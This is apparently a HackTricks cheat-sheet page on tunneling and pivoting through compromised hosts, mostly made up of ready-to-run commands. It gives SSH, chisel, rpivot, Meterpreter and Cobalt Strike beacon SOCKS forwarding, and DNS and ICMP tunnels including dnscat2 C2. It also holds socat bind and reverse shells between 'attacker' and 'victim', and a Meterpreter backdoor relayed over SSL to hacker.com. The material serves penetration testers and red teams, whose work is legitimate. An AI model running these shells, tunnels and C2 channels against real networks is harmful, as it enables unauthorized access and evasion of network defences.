# Tunneling and Port Forwarding
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## Nmap tip {% hint style="warning" %} **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. {% endhint %} ## **Bash** **Host -> Jump -> InternalA -> InternalB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; nc -lvnp 5985 0backpipe # On InternalA accessible from Jump and can access InternalB ## Expose port 3333 and connect it to the winrm port of InternalB exec 3<>/dev/tcp/internalB/5985 exec 4<>/dev/tcp/Jump/3333 cat <&3 >&4 & cat <&4 >&3 & # Fom the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` ## **SSH** SSH graphical connection (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port Open new Port in SSH Server --> Other port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Port2Port Local port --> Compromised host (SSH) --> Third\_box:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) Local Port --> Compromised host (SSH) --> Wherever ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### VPN-Tunnel You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash ssh username@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ``` Enable forwarding on the Server side ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` Set a new route on the client side ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ For example, forwarding all the traffic going to 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` ## Meterpreter ### Port2Port Local port --> Compromised host (active session) --> Third\_box:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### SOCKS ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` Another way: ```bash background #meterpreter session use post/multi/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks_proxy set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ## Cobalt Strike ### SOCKS proxy Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` ### rPort2Port {% hint style="warning" %} In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` To note: * Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines. * The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links. * You **don't need to be a local admin** to create reverse port forwards on high ports. ### rPort2Port local {% hint style="warning" %} In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` ## Windows netsh ### Port2Port You need to be a local admin (for any port) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 # Check the port forward was created: netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ You need to use the **same version for client and server** ### socks ```bash ./chisel server -p 8080 --reverse #Server ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client #And now you can use proxychains with port 1080 (default) ``` ### Port forwarding ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 ``` ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) Reverse tunnel. The tunnel is started from the victim.\ A socks4 proxy is created on 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` Pivot through **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ```bash socat TCP-LISTEN:,fork TCP:: & ``` ### Port2Port through socks ```bash socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter through SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** Create certificates on both sides: Client and Server ```bash # Execute these commands on both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Remote Port2Port Connect the local SSH port (22) to the 443 port of the attacker host ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe It's like a console PuTTY version ( the options are very similar to an ssh client). As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## Proxify Windows GUI Apps You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. ## NTLM proxy bypass The previously mentioned tool: **Rpivot**\ **OpenVPN** can also bypass it, setting these options in the configuration file: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ For example that forward port 443 ``` Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. ## YARP A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 Establishes a C\&C channel through DNS. It doesn't need root privileges. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com ``` **Port forwarding with dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Change proxychains DNS Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. ## Tunnels in Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP Tunneling ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ## Other tools to check * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) * [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
Support HackTricks and get benefits! - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**